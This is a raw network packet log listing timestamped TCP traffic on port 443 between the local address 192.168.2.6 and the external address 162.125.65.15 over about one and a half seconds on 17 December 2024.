Dec 17, 2024 12:13:48.483144999 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.483191967 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.489841938 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.489866972 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.489902973 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.489909887 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.489948034 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.489970922 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.497350931 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.497396946 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.497422934 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.497428894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.497467995 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.497487068 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.503774881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.503823042 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.503860950 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.503866911 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.503916979 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.646581888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.646635056 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.646678925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.646689892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.646723032 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.646735907 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.654131889 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.654186010 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.654225111 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.654232979 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.654268980 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.654309034 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.660356045 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.660408974 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.660479069 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.660489082 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.660521030 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.660541058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.667758942 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.667788029 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.667830944 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.667840004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.667882919 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.675074100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.675098896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.675194979 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.675204992 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.675399065 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.682914972 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.682940960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.682975054 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.682980061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.683041096 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.689445019 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.689466953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.689512014 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.689518929 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.689553022 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.689567089 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.695964098 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.696007967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.696038961 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.696046114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.696100950 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.838515043 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.838546991 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.838641882 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.838654041 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.838686943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.838709116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.845859051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.845916986 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.845958948 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.845972061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.846004963 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.846023083 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.853243113 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.853302002 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.853351116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.853358984 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.853406906 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.859587908 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.859649897 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.859733105 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.859739065 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.859792948 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.868442059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.868539095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.868542910 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.868573904 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.868613005 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.868642092 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.874144077 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.874170065 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.874221087 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.874232054 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.874267101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.874285936 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.882251978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.882280111 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.882345915 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.882356882 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.882395029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.882415056 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.888839960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.888869047 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.888909101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.888919115 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:48.888947964 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:48.888967037 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.031040907 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.031114101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.031161070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.031172991 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.031213999 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.038423061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.038486004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.038511038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.038520098 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.038552046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.038574934 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.045732975 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.045775890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.045814037 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.045821905 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.045857906 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.045880079 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.052273035 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.052318096 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.052366972 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.052376986 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.052467108 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.052468061 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.059752941 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.059801102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.059838057 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.059845924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.059897900 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.066695929 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.066741943 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.066786051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.066793919 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.066833019 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.066853046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.074335098 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.074381113 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.074403048 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.074410915 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.074451923 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.081417084 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.081475019 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.081512928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.081521034 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.081552982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.081576109 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.223148108 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.223189116 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.223225117 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.223239899 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.223290920 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.223309994 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.230390072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.230412960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.230457067 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.230463982 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.230518103 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.237848043 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.237869024 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.237904072 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.237912893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.237943888 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.237962961 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.244385958 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.244404078 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.244456053 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.244462967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.244502068 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.244512081 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.251900911 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.251936913 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.251976967 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.251983881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.252015114 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.252033949 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.258790970 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.258810043 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.258876085 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.258883953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.258919954 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.266036987 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.266057968 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.266107082 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.266115904 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.266176939 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.273509026 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.273530960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.273576021 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.273581982 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.273621082 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.273637056 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.275836945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.416019917 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.416052103 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.416269064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.416292906 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.416659117 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.422741890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.422766924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.422843933 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.422851086 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.422928095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.430357933 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.430382013 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.430442095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.430449009 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.430533886 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.436651945 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.436676025 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.436733961 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.436741114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.436774015 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.436793089 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.444179058 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.444195986 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.444288015 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.444294930 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.444478989 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.451073885 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.451091051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.451194048 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.451200008 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.451358080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.458302021 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.458317995 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.458378077 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.458383083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.458436012 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.458455086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.465816021 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.465836048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.465889931 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.465902090 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.465958118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.465958118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.608283997 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.608314037 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.608371019 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.608397007 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.608419895 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.608442068 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.614717007 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.614741087 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.614793062 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.614800930 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.614830971 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.614851952 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.622167110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.622189045 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.622251987 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.622260094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.622322083 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.622330904 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.629592896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.629612923 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.629678011 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.629688025 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.629718065 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.629739046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.636992931 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.637013912 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.637082100 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.637090921 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.637134075 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.637151003 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.643873930 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.643893003 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.643945932 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.643956900 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.644007921 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.650698900 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.650721073 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.650757074 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.650764942 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.650791883 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.650819063 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.657921076 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.657948017 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.657994986 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.658003092 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.658036947 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.658065081 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.800568104 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.800625086 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.800656080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.800663948 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.800717115 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.808013916 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.808033943 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.808080912 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.808089972 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.808119059 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.808140993 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.815320015 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.815337896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.815424919 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.815432072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.815468073 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.815486908 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.822737932 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.822757006 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.822796106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.822802067 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.822832108 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.822849035 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.829251051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.829269886 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.829304934 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.829312086 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.829340935 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.829359055 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.836934090 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.836977005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.837002993 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.837011099 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.837040901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.837057114 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.843694925 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.843720913 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.843763113 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.843770027 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.843813896 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.843831062 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.850949049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.850969076 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.851035118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.851042032 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.851068974 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.851088047 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.854938030 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:49.993536949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:49.993561983 CET	443	49866	162.125.65.15	192.168.2.6
